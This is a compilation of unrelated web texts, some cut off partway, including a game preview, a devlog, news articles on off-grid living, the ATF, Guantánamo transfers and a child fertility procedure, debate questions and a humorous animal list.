Buyanov says that the game's graphical fidelity is thanks to his team's years spent working on FPS titles in the Contract Wars series, while the authenticity and attention to detail comes from his team's real-world military experience.
"We have a mix of talent, some veteran developers, some new to game development. But everyone loves guns and FPS games. One of the studio leads is actually a former Spetsnaz officer, the Russian equivalent of the U.S. Special Forces."
Adding to such a large feature set, the team also showed off a deep skill tree that adds perks to your persistent avatar in the same way that the Elder Scrolls series does. The more you use a weapon or a skill in the game, the more experience you gain and the more perks you unlock.
Most exciting is what the team isn't saying right now. The Russia 2028 universe, which Tarkov and Contract Wars both share, has elements of the supernatural along the same lines as the legendary STALKER franchise. The conditions screen clearly shows elements like stamina and hydration, but also radiological and biological counters. The team has hinted at an overarching story, along with plot twists and multiple secrets to be found.
No release date has been announced, but the team seems primed for a 2016 release. So far, few people have actually had hands-on with the game, but right now Escape From Tarkov is at the top of our list for the most-anticipated survival games. You can watch the entire archived livestream above.Day 267 - Hotkey Skills And New Level
* Changed skills system so that it is variable for 3 or 4 skills
* Elf now always has shoot arrow skill, it does not have to be chosen in addition
* Skills are now implemented as hotkeys. To use a skill you press its corresponding slot, i.e. 1,2,3 or 4.
* New level - lots of traps and switches and a big battle too. Quite difficult.
I’m pretty happy with what I achieved today. I worked pretty hard and I got a lot done. I started off the day changing around the skills system and how it worked. I scrapped the “current skill” and “change skill” button in favour of simply pressing ½/¾ to use a skill. I also did lots of UI fixes and minor changes. I ran into a few problems implementing some of the new skill UI art so I’ll need to modify how that works.
I spent a large part of the day after that working on a new level which should be a lot closer to the levels I’ve had in mind all along. It’s more intricate than what has been showcased before and has many alternate routes to complete it, depending on how you want to do it. It is a bit more difficult but I think it makes it more interesting. It needs more playtesting.
Here is a screenshot with a small section of the level. The Knight also has 3 newly drawn skills by Chris. I think they are spectacular, especially the detail on the arms and hand.
Tomorrow I’d like to make another level and then it should be pretty close to a new build for release.
If you haven’t already, please Vote for Dungeon Dashers on Greenlight.London, England (CNN) -- You won't hear much about it in the vast conference halls of the Copenhagen climate change summit, but living "off-grid" -- beyond the water and power lines that intersect much of the modern world -- could hold a solution to some of the planet's worst environmental woes.
Initially adopted by hippies and environmental mavericks, the pioneering lifestyle has grown to attract thousands of devotees who choose to live completely independently of the local utilities power grid and instead generate their own electricity and water.
Some begin their off-grid quest out of environmental concerns and some see it as an antidote to rocketing energy prices and fears of economic collapse. Others simply want to be independent.
Off-grid practitioners generate most of their power from solar panels and wind turbines. They build rainwater tanks to harvest their water and chop wood to fuel their heating units. They use only what they can produce but can still live a rewarding lifestyle.
"Things require more care and planning, but it's pretty easy, it's not like we're putting on a hair shirt to live that way," TV producer and editor of http://www.off-grid.net/ Nick Rosen told CNN.
"And if you're happy with candles at night and you don't mind putting on a couple of jerseys when it gets cold, then life is as comfortable as on the grid but at a fraction of the cost."
In 2008, Rosen wrote "How To Live Off-grid: Journeys Outside The System," which chronicles his travels across the UK in a vegetable oil-fueled camper van to meet off-grid practitioners representing all walks of life: from millionaires living in eco-palaces and business professionals in canal boats to backpackers who reside in traditional yurts and rely on torches for illumination.
Although candle lighting may seem like a romantic concept, having to deal with your own sewage or scavenge for firewood to fuel your cooking stove could be a nightmare for most metropolitan dwellers.
Yet, an ever-growing number of communities are choosing to live unplugged.
In December 2006, USA Today reported that some 180,000 families live off-grid in the U.S., a figure that has leapt 33 percent a year for a decade, according to Richard Perez, publisher of Home Power magazine. Exact figures are difficult to be estimated but a further 40,000 people are believed to have gone off-grid in the UK.
One such community is Scoraig, an 80-strong off-grid settlement located on a secluded peninsula on the north-western coast of Scotland. The land is owned by Lady Jane Rice, the estranged wife of songwriter Sir Tim Rice, and can only be reached by boat or a five-mile walk through the hills.
"Actually we don't live so differently from everybody else," said Hugh Piggott, 57, who moved to the wind-swept hamlet in 1974.
Piggott, who has become a world authority on wind power, pays an annual rent of just £10 ($16.3). During his first two years in Scoraig he didn't use any electricity at all. But now, almost all of the township's households source their own electricity, water and fuel, getting most of their power from wind turbines and solar panels.
That means that local residents are able to access modern essentials such as the Internet and hot water.
"We have the same sort of facilities as everybody else -- televisions, computers, fridges and washing machines. The difference is that we're doing it with renewable energy rather than connecting to the national grid," Piggott told CNN.
The lifestyle has lately been given an additional boost as several celebrities, including Darryl Hannah, Ed Begley Jr. and Kristin Davis, have endorsed the idea, setting up their own, untethered, solar-powered mansions.
But, unless you have the means to build and house your own lavish off-grid setup -- with a huge oversupply of solar panels and batteries -- opting to live independently of public utility services is not short of struggles.
"The big challenge is to adapt your requirements to the available resources," said Piggott.
"If there's a shortage of water you need to change your habits and use less water and if there's a shortage of wind you need to switch off lights and conserve electricity."
Another obstacle for off-gridders is securing planning permission to install alternative energy technology. Rosen found that the situation varies widely across the U.S. and Europe and set up his own off-grid haven in the mountains of Mallorca, Spain.
Located at 700 meters above sea level, his property is equipped with two wood burning stoves and a couple of solar panels. Rain water is caught and stored in a big stone tank while dozens of candles provide light once night falls.
It is far easier to set up eco-projects in places like southern Spain, where there is an abundance of wind and sunshine.
Landscape gardener Robert Kite moved from London to Cadiz to set up an off-grid home with his partner, Flavia, located away from large urbanizations and close to woodland and the sea.
"It makes you appreciate the earth's natural resources. And, of course, on a financial level the benefits include no bills from utility companies for electricity, water and sewage," Kite told CNN.
The off-grid lifestyle is likely to gain an even bigger following as global warming concerns, soaring energy prices and technological advances in renewable energy are all expected to lead the trend towards eco-living.
Earlier this week, U.N. Secretary-General Ban Ki-moon told world leaders in Copenhagen that they had the chance to "change the course of history."
During the summit he called for both industrialized and developing countries to "do more" to reach an agreement on limiting carbon emissions.
Nevertheless, the advocates of off-grid living look at the proceedings in Copenhagen with increasing skepticism.
"We are still being fed the lie that we can somehow keep our lifestyles just like they are -- just tweak them a little bit with some economical use of energy here and some taxes there -- and somehow it can just go on as before," Rosen said.
"I see people who live off-grid as the foot soldiers of the environmental revolution, the early adopters of what we will all have to do in the very near future."Presenting is listed in survey after survey as something people dread most. For many, it’s a one way ticket to sleepless nights and a dodgy tummy. For others, there’s a sense of simply going through the motions – reading bullets off the screen, answering questions without looking like an idiot, not fidgeting with pocket change.
There are now some fantastic books and sites on creating presentations that look a league above standard PowerPoint hell templates (I recommend Nancy Duarte’s Slide:ology book, Garr Reynolds’ Presentaion Zen site and Note & Point for inspiration). But while these will all help make your deck look better, getting up in front of an audience is a different matter.
Over the years I’ve presented thousands of times. Many of these were ad agency pitches where you typically have a couple of hours max to sell the thinking, the creative work and yourself (and come out ahead of another four agencies trying to do the same).
I’ve had some good training and have gradually got better at it – to the point where it doesn’t faze me anymore (even if I still tend to blush). There’s been a lot written about business presenting of course (over 5,000 books on Amazon for starters) but here are six things I’ve learnt that don’t typically pop up.
1: Know what you want to achieve
Why are you presenting? Is the reason the real reason or simply a sideshow?
Take an ad agency pitch for example. Yes, we’re there to show our dazzling strategic insight and some really pretty creative work. Sadly, however, all too often we forget that the client is, as much as anything else, buying a relationship. They will see three or four other agencies all but one of whom will probably do a competent job (the other will cock it up royally).
Deciding why you are really there and what the next steps are is essential to helping you cut out fluff and gain some focus.
2: Manage your emotions |
stay, how do they defend that to people who are unemployed or taxpayers who pay at least part of the bill?-If you are opposed to deportation how do you justify all of the money spent on illegals (education, healthcare and benefits to children etc.)?-How do you justify it when so many are still out of work?-How do you plan to secure the border?2. How do you plan to decrease the deficit and balance the budget?-What are the specifics of their plans, some candidates are supporting tax cuts without specifying what they will cut to offset those tax cuts.-Do you support increasing taxes in any way?-What do you think about a national sales tax?3. Do you support or oppose the Iran nuclear deal -As commander and chief if you oppose it will you commit to use of military force in Iran?-If you support it, what would you do if Iran is found cheating on the plan?-With evidence showing Iranian support of Isis how do you justify supporting the deal?4. Do you support defunding planned parenthood -How would you address those who are concerned about the loss of women's health clinics?-If you don't support defunding, how will you address the federal government giving half a billion dollars a year to the biggest provider of abortions in our country?5. The U.S. infrastructure has received a D rating. How would you address our failing infrastructure?-Some estimates estimate we need to spend hundreds of billions of dollars right now just to bring our infrastructure up to date, including 60,000 bridges which are in need of immediate repair or replacement how will you fund this?-In what ways will you bring our infrastructure into the 21st century?6. What are your plans to reform education?-If you are opposed or support common core how do you think national education should be handled?-Do you support a national curriculum?-What are your plans to push our nation forward in education?7. Do you support legalizing less harmful drugs like marijuana?-The war on drugs has been costly, how would you address those who say that the war on drugs has failed?-How do you justify continuing to imprison people for having very small amounts of marijuana on them.-Do you support drug courts where a person gets treatment instead of going to jail?-If they support legalization, how do you justify legalizing drugs which can have negative impacts on the brain?-Do you support more research for DUI testing methods like breathalyzers for marijuana?8. What is your plan to strengthen our economy?-Many believe regulations are crippling our economy, as president what regulations would you change?-Many are concerned about the affects income inequality is having on our country, with wealth increasingly going to the richest 1%. How do you address these concerns as president?-Consumer debt has almost equaled our national debt, how would you address the growing concerns over the massive amount of debt which is becoming a drag on our economy, especially student loan debt?9. How will you bring people together to move America forward? Great leaders are measured by what they have done working through compromise to accomplish. We have had too much extremism and not enough listening and compromise.-What would you do to work across the aisle?-How have you worked across the aisle to get things done?-How would you work to mend the wounds within our nation?10. The next president will inherit 3 massive trade deals the TPP, TTIP and TISA. Would trade negotiations change under your presidency?-How would you address our growing trade deficit?-How would you use trade to move our nation forward in the years to come?What would you like to see asked in the debate? Comment with your question below.Generating energy by cleaning the air we breath sounds like wishful thinking, but Belgian scientists are working hard on making it a reality.
According to University of Leuven’s website, researchers successfully managed to convert pollution into energy, in association with the University of Antwerp. The process the scientists have developed is remarkably simple and addresses two major needs that are facing society today: clean air and alternative energy production.
The Belgian research team has created a small device made out of two compartments that are separated by a membrane made from specialized nanomaterials. When polluted air passes through the membrane the catalysts in it are able to form hydrogen gas, while simultaneously breaking down the air pollution — effectively producing energy and cleaning the air.
The researchers describe the process of the device as being similar to existing solar panel tech, as it operates automatically when exposed to sunlight. The main difference, however, is that the energy isn’t created directly in the new device. The hydrogen gas that’s produced can be stored and later used as fuel, for example for hydrogen-powered buses which are already in use in many countries.
The tech is still in early stages of development but Professor Sammy Verbruggen, one of the leading researchers, has high hopes for the future.
At this moment we are working on a scale of only a few square centimeters. In the long term, we’d like to scale up our technology to make the process industrially applicable. We’re also working on improving our materials so we can use sunlight more efficiently to trigger the responses.
For those who’re interested in the science behind the device can check out the research paper here.
Nieuwe technologie wekt energie op uit vervuilde lucht on KU Leuven
Read next: Will 3D-printing democratize interior design?The software that Stephen Hawking uses to speak via a synthesized voice on his computer has been released freely on the internet. Its creators, Intel, hope that it can now be used in research to create interfaces that similar sufferers of amyotrophic lateral sclerosis (ALS) can use.
The Assistive Context-Aware Toolkit (ACAT) system has been released on Github, complete with a user guide. It allows researchers to develop communication systems where minimal input is needed. Hawking’s system, for example, relies solely on him moving a muscle in his cheek to type and use his computer. Hawking’s latest system was installed last year, which doubled his typing rate and improved his use of other computer functions by ten times.
ACAT works with any computer running Windows XP or above. It needs to be used with hardware to input commands, which could include a webcam, accelerometers or proximity sensors. While intended for research, anyone is free to download and install ACAT at the moment. There may yet be some other applications for the software in the future.
“Helping maintain communication for someone with MND could be as simple as using a pen and paper,” Karen Pearce, Director of Care for the MND Association, told BBC News. “But as the disease progresses people often lose the use of their hands too. That's when cutting edge Augmentative and Alternative Communication, or AAC, aids can help but it's vital speech and language therapists look at the best options for families.”In both nature and fiction you can usually spot who the biggest badass is by how huge they are, how many scars adorn their battle-fatigued bodies or how many females line up to tell them that they don’t have any plans tonight and are up for like, whatever. But that is not always the case. Just as fiction has brought us inconspicuously badass characters like Mr. Miyagi or River Tam, so did nature bestow some of its most astonishing (and often deadliest) qualities on creatures which we’ve always considered the animal equivalents of Chess Club nerds, like…
10. The Koala
You know it as: The lazy, Australian mouse-bear. With its tiny eyes, huge ears and an adequate level of fuzzy-wuzziness, the Koala is the closest we’ll ever get to a real life plush toy. Look at it. Don’t you just want to hug it?
But in reality: DO NOT TOUCH THAT BEAR! Not unless you’re wearing a full-body condom suit, because those bastards are swarming with Chlamydia. In recent years the Koala population has been threatened by an outbreak of STDs, which according to scientists might wipe out the species in 30 years. Do you know what that means…? It means that Koalas are total players, and they don’t care who knows it as long as they get to have sex with them. It takes a certain kind of creature to nasty-sex itself into possible extinction and that kind is “one that just doesn’t give a crap,” aka “the Koala.”
Source: http://www.telegraph.co.uk/news/worldnews/australiaandthepacific/australia/6537179/Koalas-extinct-within-30-years-after-chlamydia-outbreak.html
9. The Hercules Beetle
You know it as: The bug with the big-ass horn-pincer thing for a head. Sure, they look kinda cool and if you put one into a hollowed out tennis ball you can pretend it’s a Pokémon, but at the end of the day, it’s just a large insect, right?
But in reality: Yeah, and Chernobyl was just a minor technical malfunction. It’s impossible to overestimate the baddassness (badassity? badassitude?) of the Hercules Beetle, considering it might very well be the strongest creature on Earth, relative to its size. The Hercules Beetle is capable of lifting 850 times its body weight, meaning that if it was human-size it would be able to lift up to 70 tons. See, they don’t just give away names like “Hercules” in the science community. You have to earn that stuff.
Source: http://nationalzoo.si.edu/Animals/Invertebrates/Facts/insects/herculesbeetles.cfm
8. The Hippopotamus
You know it as: The fat water-dwelling herbivores with a penchant for R&B music, though that may only have been the movie Madagascar. All in all, the hippos are cute, friendly…
But in reality: …insanely aggressive killing machines fueled by the sheer power of their hatred for humanity. Not only is the hippo—one of the largest land animals by the way—horribly aggressive and unafraid of humans, it takes only the slightest provocation for it to go full-murder on your butt like a raging hammer of the gods. It’s estimated that the hippo is responsible for the most animal-related human deaths in all of Africa, and that’s where lions come from! Oh, and don’t think that you could always outrun them, because a hippo can reach speeds up to 18 m.p.h.
Source: http://www.straightdope.com/columns/read/1862/are-hippos-the-most-dangerous-animal
7. The Wombat
You know it as: The dopier cousin of the Koala. The Wombat is another Australian marsupial which looks as if it feeds primarily on cupcakes and tummy rubs. It’s what you’d get if you crossed a teddy bear with a puppy. They usually measure 39 inches in length and 20 MegaKittens in adorableness.
But in reality: The Wombat is often preyed upon by Dingoes and Tasmanian Devils, some of the toughest bastards to ever come out of Australia, and that’s saying something. When one of them spots the little ball of fur, the Wombat dives into its tunnel home, leaving its behind opened for attacks. (Which is OK because their butts are made of pure cartilage.) Then, when a Dingo or a Tasmanian Devil squeezes their head into the tunnel to get to the Wombat, it gives them a couple of donkey kicks to the noggin, turning their brains into slushy with its powerful legs. To reiterate: the Wombat is an animal which kicks Tasmanian Devils to death.
Source: http://en.wikipedia.org/wiki/Wombat#Ecology_and_behaviour
6. The Nutria
You know it as: You might not actually know what a Nutria is, but its other name provides a quick and adequate description: The River Rat. It’s a large rodent, originally from South America, which has been introduced to the U.S. by fur farmers. Not really much to say about it…
But in reality: …other than that it’s an unstoppable locust-like devastation machine bent on destroying the Earth by eating all of it. Picture the common rat and the damages it causes each year. Now multiply that by roughly a thousand: that’s just how destructive the Nutria can be. In Maryland they are believed to have destroyed over 3,000 hectares of marshlands, to the point that the state has put forth a multi-million dollar eradication program to get rid of them. In 2005, Louisiana has even put a bounty on these animals, officially making them outlaws with nothing left to lose, like some sort of Bandido Zerg Swarm.
Source: http://en.wikipedia.org/wiki/Nutria#Commercial_and_environmental_issues
5. The Mantis Shrimp
You know it as: The LSD variation of the beloved cocktail filler (though technically not an actual shrimp). The Mantis Shrimps are alien-looking crustaceans with a fantastic, bright coloration; they occasionally make their way to the aquarium trade, though they need to be handled carefully.
But in reality: The reason they need to be handled carefully is because the Mantis Shrimp will ruin your day with its fiery superpower punches. That’s right: punches, because that’s how the shrimp hunts its prey. Its complex biology allows it to produce lightning fast jabs which would make Chuck Norris squeak in terror and bewilderment (or “terrilderment”). The Mantis Shrimp’s punch clocks at speeds exceeding 50 m.p.h. and is accompanied by a flash of light and heat. So, basically, The Mantis Shrimp is capable of throwing fire punches… UNDERWATER!
Source: http://www.usatoday.com/tech/columnist/aprilholladay/2006-01-09-shrimp_x.htm
4. The Hummingbird
You know it as: The adorable, tiny bird who always wanted to be a bee. Not only does it feed on nectar but it also buzzes around like a bee by flapping its cute little wings and oh look, its elongated beak even resembles a tiny stinger. Aren’t they just precious?
But in reality: Yeah, that whole flying thing the Hummingbirds do? They do it by flapping their wings up to 90 times a second, which allows them to hover in the air and even fly backwards. So fine, their flying is a little interesting, but that doesn’t make them “badass.” Sure, right, totally. But the fact that they’re constantly on the verge of starving to death sort of does. See, the Hummingbird’s heart beats roughly 20 times faster than that of a human, meaning the birds have one of the highest metabolisms in nature and need to be feeding CONSTANTLY otherwise they will die. They’re basically one cannibalistic incident away from becoming the Zombies of the bird world.
Source: http://badassanimals.tumblr.com/post/3411919273/hummingbird-upon-first-seeing-this-post-some-of
3. The Pacific Salmon
You know it as: Dinner, most likely. In a nutshell, the Pacific Salmon is the Pacific variation of the popular fish known for going great with a side order of fried mushrooms and eggplant.
But in reality: What’s the furthest you’d go to have sex? Whatever your answers might be, none of it can match up to what the Pacific Salmon goes through to reproduce. To spawn, the Pacific Salmon first enters freshwater, after which it stops feeding and its stomach disintegrates to make room for more sperm or eggs. Then, the fish swim upstream, dodging bears and fishermen, until they reach the exact same spot where they were born, all without maps, GPS or an advanced nervous system. There, they start having fish-sex until everyone is dead. I believe the proper scientific term for all that is “Freakin’ Hardcore.”
Source: http://www.marinebio.net/marinescience/05nekton/sarepro.htm
2. The Cassowary
You know it as: The drag queen version of the Ostrich. Seriously, look at that thing; it’s something a child would come up with by crossing an Emu and a Turkey.
But in reality: Did you know that the Cassowary was voted the most dangerous bird on the planet by the Guinness Book of World Records? Yup, that thing right there, not the Hawk, the Eagle, not even the famed Horned Cobra-Vulture. And why? For one, the Cassowary is the ninja of the bird kingdom. It’s said that you can often pass one in the wild and not even notice it. That is, until it decides to attack you with its ultra sharp talons. The Cassowary has extremely powerful legs, which it can use to disembowel you in one swift kick. They’re also quite aggressive so if you manage to piss one off the best thing to do is lie down and hope the bird will dispose of you quickly. Running won’t do you much good as these things can reach 50 m.p.h and are also excellent swimmers, basically making the Cassowary a Land Shark.
Source: http://www.buzzle.com/editorials/7-18-2006-102736.asp
1. The Immortal Jellyfish
You know it as: Hold on, what? The Immortal Jellyfish? This is like… an ironic name, right? Like, its lifespan is only around 2-3 seconds or something, right? Because looking at it, it really does look like a regular old Jellyfish.
But in reality: From a biological point of view, the Immortal Jellyfish (Turritopsis nutricula) really can live forever. When the Jellyfish reaches maturity it can revert itself to its polyp form (the sexually immature state) which then gives birth to a whole new colony. See, in the animal kingdom, there’s really little use for the animals to keep living after they reach sexual maturity and reproduce but the Immortal Jellyfish cheats the process by turning back time on itself and reproducing asexually in what, technically, can be an endless cycle. It’s like if you were able to turn yourself into your own pregnant mother and give birth to three new versions of yourself. No need to thank me for that mental image. Your upcoming night terrors are all the thanks I need.
Source: http://www.jellyfishfacts.net/turritopsis-nutricula-immortal-jellyfish.html
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Other Articles you Might LikeBritain's first: Nathan Crawford, pictured, had treatment to ensure he can one day have children
At the age of nine, thoughts of becoming a father are far from Nathan Crawford’s mind.
But he has become the first person in Britain to have an experimental treatment in the hope that he might one day have children.
The schoolboy has an inoperable brain tumour that requires gruelling courses of radiotherapy and chemotherapy. The vital therapies should shrink the tumour growing in his brain – but could make him infertile.
Now, in a UK-first, surgeons have removed part of his testicular tissue and frozen it in a new facility in Oxford, with the hope of one day re-implanting it when Nathan is old enough, and ready, to be a father.
An estimated 300 children are made infertile every year in Britain as a result of treatments for cancerous and non-cancerous tumours.
The Oxford facility hopes to tackle this problem by providing storage for genetic material, so that girls and boys will later have their fertility restored. Ovarian tissue freezing for girls is in its early stages, but has already produced around 50 live births around the world. For boys, however, testicular tissue freezing is more experimental.
Nathan has a type of tumour called a glioma, which develops from the glial cells that support the nerve cells of the brain. His tumour is so close to vital brain tissue that surgeons are unable to remove it without causing serious damage to important brain functions.
He has had a course of radiotherapy and is currently having a second round of chemotherapy with the aim of shrinking the tumour.
But before he started chemotherapy his family, from Bude, Cornwall, were offered the chance of testicular tissue freezing thanks to pioneering work at the John Radcliffe Hospital in Oxford.
During keyhole surgery under general anaesthetic, surgeons removed a wedge of testicular tissue from one of Nathan’s testes.
Proud family: Nathan, pictured with his younger brother Ned, mother Donna and stepfather Jonathan at home
Treatment: Nathan, pictured with his brother, had his tissue removed and frozen at a facility in Oxford
This sample contains sperm stem cells, which remain viable when slow-frozen within the small amount of testicular tissue.
Nathan’s stepfather Jonathan Alison, 34, said he and Nathan’s mother, Donna Hunt, 31, have explained the tumour to him and how the procedure to store testicular tissue might help him in later life.
‘Nathan loves children and so we told him this would increase the chances he can have his own children,’ he said.
‘He’s coped really well and hasn’t suffered too much from side-effects, just some jaw ache and a bit of sickness. We couldn’t be prouder of the way he has taken it all in his stride.’
Coping well: Nathan, pictured with his family, has taken the treatment 'in his stride' according to his mother
Men who are to have chemotherapy can freeze their sperm in advance. But boys who have not reached puberty have no sperm.
Instead, by freezing a sample of their testicular tissue, scientists hope to preserve the sperm stem cells – immature sperm which they hope to later defrost and turn into mature sperm.
The final stage of this process has never been successfully carried out in humans, but several trials have succeeded in mice.ATF poorly armed with funding as duties grow Agency struggles with enforcement amid stiff competition for funding
Some of the weapons that have been taken off the streets over the years by the Bureau of Alcohol, Tobacco, Firearms and Explosives are displayed in the Dublin field office's lobby. Some of the weapons that have been taken off the streets over the years by the Bureau of Alcohol, Tobacco, Firearms and Explosives are displayed in the Dublin field office's lobby. Photo: Michael Macor, The Chronicle Photo: Michael Macor, The Chronicle Image 1 of / 1 Caption Close ATF poorly armed with funding as duties grow 1 / 1 Back to Gallery
Washington -- The Bureau of Alcohol, Tobacco, Firearms and Explosives is an agency under siege, a hostage of sorts in the long war over guns and their proper place in America's social fabric. It is the federal agency that National Rifle Association members and other gun enthusiasts love to hate.
The ATF, charged with keeping track of the nation's 300 million guns, has an annual budget of $1 billion, half that of the Drug Enforcement Administration and a pittance compared with the $8 billion showered on the FBI. In addition to firearms, the bureau investigates bombings, regulates the explosives industry and tries to halt illegal trafficking of alcohol and cigarettes.
As enforcement responsibilities grow and its funding stays static - the bureau's roster of agents has grown by just 38 in the past 12 years, to 2,388 - some jobs slip through the cracks.
The agency is incapable of inspecting a majority of the nation's 137,000 gun dealers and other licensees within a mandated five-year time frame, according to a Justice Department inspector general's report in April.
One result: From 2004 to 2011, the number of firearms considered lost or stolen increased 18 percent, to 174,679. Many of those are believed to have fallen into the hands of criminals.
When investigators identify gun dealers guilty of serious violations, the bureau is slow to revoke licenses. The inspector general's report said a third of such cases from 2005 through 2010 took more than a year. In the seven years leading up to 2011, the number of revocations dropped 43 percent.
"Just look at the numbers," said Marvin Richardson, deputy assistant director for enforcement programs and services for the agency. "They speak for themselves."
The misguided Operation Fast and Furious, in which agents in Phoenix were told to stand by while Mexican drug cartel intermediaries bought weapons in local gun stores and smuggled them across the border, largely resulted from management errors within the bureau and the local U.S. attorney's office.
Fast and Furious
But Fast and Furious also reflected the agency's failure to cope with lagging resources, especially the lack of agents needed for a far-reaching investigation that involved surveillance and wiretaps. The Justice Department inspector general's report last year on Fast and Furious said agents were overextended and "struggled with surveillance due to limited resources."
The resource issue raises the question: Is the agency capable of fulfilling the NRA's mantra invoked to prevent new gun legislation - "Enforce the laws already on the books"?
"The short answer is yes," said Vivian Michalic, the bureau's chief financial officer. "Can we be more effective with additional resources? I think the answer to that is also yes."
There are many forces behind the agency's second-class status. One is federal law enforcement competition, where the agency has long struggled with the FBI, Drug Enforcement Administration and others for dollars.
NRA animosity
But a major factor is the political animosity generated by enforcing gun laws. The NRA stands out as the single organization in or out of government most intimately involved in shaping the bureau's mission.
Jim Pasco, an ATF lobbyist on Capitol Hill in the 1980s and '90s, recalls negotiating the agency's budget with his NRA counterpart, Jim Baker.
"I'd say, 'I need 200 more agents, 100 more inspectors,' " said Pasco, who added that he promised the new hires would stick to chasing criminals with guns, not the gun owners and collectors who are the bulwark of the NRA.
After that, he said, Baker "would sign off."
Baker, now the gun group's senior lobbyist, insists that the NRA never had veto power over agency's budgets. "The contention that somehow the NRA is responsible for the amount of money appropriated or not appropriated for ATF is erroneous," he said.
But the NRA keeps pressure on the agency in a manner unlike any opponent of the FBI or Drug Enforcement Administration. Indeed, that's how the NRA raises a chunk of its budget.
"We are a membership organization; we do fundraise," Baker said. "When ATF screws gun owners, we're going to talk about it."
Registry prevented
The NRA's efforts to control the ATF have ended up costing the bureau millions. An NRA-supported congressional appropriations provision prevents the agency from building a national gun registry. As a result, the 375 contract employees at its National Tracing Center in Martinsburg, W.Va., work largely without computers, relying on phone calls and scanned or microfilmed paper records to connect crime gun serial numbers to original purchasers.
William Earle, who retired in 2004 as the agency's chief financial officer, said the failure to computerize the registry had cost the bureau "hundreds of millions of dollars" it could ill afford to lose.
Donations, lobbying
Since 1990, the NRA's political action committee has donated nearly $350,000 directly to the campaigns of senators and representatives on the appropriations subcommittees with control over the ATF's budget.
Lobbying disclosure reports show another flank of the NRA's offensive on the subcommittees that write the agency's budget. From 1999 to 2009, the NRA dished out $3.6 million to a team of lobbyists from private firms working on those appropriations bills.
"When things come up, we have a lot of congresspeople on our side," said Jeff Knox, head of the Firearms Coalition in Arizona. "They don't need marching orders from NRA to restrain an agency that's proven to be an enemy to us."Mythic Plus Gear Rewards
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Skittish Enemies pay far less attention to threat generated by tanks.
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Volcanic While in combat, enemies periodically cause gouts of flame to erupt beneath the feet of distant players.The illegal immigrant named Texan of the Year
DALLAS — Because everybody in Texas "has felt the tidal wave of his presence," the illegal immigrant has been named the Texan of the Year by the Dallas Morning News.
"We can't seem to live with him and his family, and if we can live without him, nobody's figured out how," the report posted on the Dallas Morning News' Web site on Saturday said.
The newspaper identified illegal immigration as perhaps the largest story in the nation and in the state in 2007. Texas' immigrant population has increased by nearly 33 percent since 2000, according to an analysis of government data by the Washington-based Center for Immigration Studies.
In that period, the number of total immigrants entering the country has exceeded all previous historical eras. Half the immigrants in Texas — about 7 percent of all Texans — are here illegally.
"The illegal immigrant is the waiter serving margaritas at our restaurant table, the cook preparing our enchiladas.
"He works grueling hours at a meatpacking plant, carving up carcasses of cattle for our barbecue (he also picks the lettuce for our burgers). He builds our houses and cuts our grass. She cleans our homes and takes care of our children."
The newspaper says that to their champions, illegal immigrants are "decent, hardworking people who, like generations of European immigrants before them, just want to do better for their families."
But the newspaper says that to opponents of illegal immigration, those who come to the United States illegally "are essentially lawbreakers who violate the nation's borders. They use public resources, schools, hospitals to which they aren't entitled and expect to be served in a foreign language. They're rapidly changing Texas neighborhoods, cities and culture, and not always for the better. Those who object get tagged as racists."
This is not the first time the paper's editorial board has gone with a composite rather than an individual. In 2005, editorial writers selected the city of Houston as its Texan of the Year for its response to Hurricane Katrina.
Last year's Texan of the Year was former police officer Roy Velez, whose two sons died in Iraq and Afghanistan.Ryan Hanigan was missed by the Red Sox both behind the plate and at it.
The.222 batting average that catcher Ryan Hanigan took with him to the disabled list when he fractured his right hand in May never did his at-bats justice.
He stretched many of those at-bats into battles, seeing 4.13 pitches per plate appearance. He rarely grounded into double plays, and he consistently moved runners over. He rarely struck out, and he constantly put the ball in play.
He had a five-game hitting streak at the time of his injury, and in the games he missed, the Sox missed him as much at the plate as they did behind it.
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Since returning to the lineup last week, Hanigan has hit.333 (5 for 15) with three RBIs and five walks, giving the Sox a much-needed spark.
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“First of all, he’s put up quality at-bats every time he’s walked to the plate,” said manager John Farrell. “Long at-bats, we’ve been able to put some guys in motion with him because of his bat control. A guy that rarely swings and misses. Some key RBIs in that mix. And for the games in which he’s been behind the plate, I think he’s led our guys through and implemented a very solid game plan.”
While the pitching staff has its best ERA with Sandy Leon behind the place (3.91) and worked well with rookie Blake Swihart learning on the job, Farrell said Hanigan’s experience as a nine-year veteran is invaluable.
“There’s no substitute for experience,” Farrell said. “The other guys that have been behind the plate for us are talented in their own right, but their learning curve is pretty steep as they come into the big leagues or change leagues. Hanny’s track record is clearly playing out as we had hoped or anticipated. He’s a very good game-caller.”
Hanigan said the mental side of the game — watching the pitching staff — helped him stay plugged in so when he returned he could immediately contribute.
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“I was here, I was traveling with the team, I’m watching,” Hanigan said. “Sandy and Swi did a great job with these guys. They’re always prepared, they’re always ready to go. It’s about the pitcher executing the game. If I can see something here and there that I think I can help with, I will. But overall, I think it would help me just being able to be around the game, travel with the team, see what’s going on, see what’s making these guys successful or ways that they can improve. All that stuff makes it a little easier when I get back to do my job.”
In a tough spot
The push for Xander Bogaerts to fill the final roster spot on the American League All-Star team looks to be in jeopardy. Major League Baseball released the voting update on Wednesday and the leader was Royals third baseman Mike Moustakas. Bogaerts was fifth behind the Twins’ Brian Dozier, the Tigers’ Yoenis Cespedes, and the Yankees’ Brett Gardner, who was added to the roster on Thursday to replace injured Kansas City outfielder Alex Gordon. Voting for the final spot ends Friday at 4 p.m.
Julian Benbow can be reached at jbenbow@globe.com. Follow him on Twitter @julianbenbowOnly 61 detainees remain at US facility after transfer made in final months of Obama’s presidency, a move to be announced by Pentagon later on Monday
The largest single transfer of Guantánamo Bay detainees of Barack Obama’s presidency was announced on Monday, as 15 long-held men departed the infamous detention center.
The transfer, officially announced by the Pentagon on Monday evening, brings the Guantánamo detainee population down to 61.
The United Arab Emirates, a close US ally which has accepted former Guantánamo detainees in the past, took the 12 Yemenis and three Afghan nationals, some of whom the US has held for the 14 years Guantánamo that has served as a detention facility. The Pentagon thanked the UAE for its “humanitarian gesture” and support for shuttering Guantánamo.
Six of the men had first received clearances for transfer in 2010, after a review early in the Obama administration found them eligible to leave Guantánamo and unfit for military prosecution. Their names are Abdel Qadir al-Mudafari, Muhammad Ahmad Said al-Adahi, Abdul Muhammad Ahmad Nassar al-Muhajari, Abd al-Rahman Sulayman, Mohammed Nasir Yahi Khussrof Kazaz and Abd al-Muhsin Abd al-Rab Salih al-Busi.
All are Yemeni, and the administration for years cited instability in Yemen, where civil war continues today, as a reason to halt transfers to the Middle Eastern country.
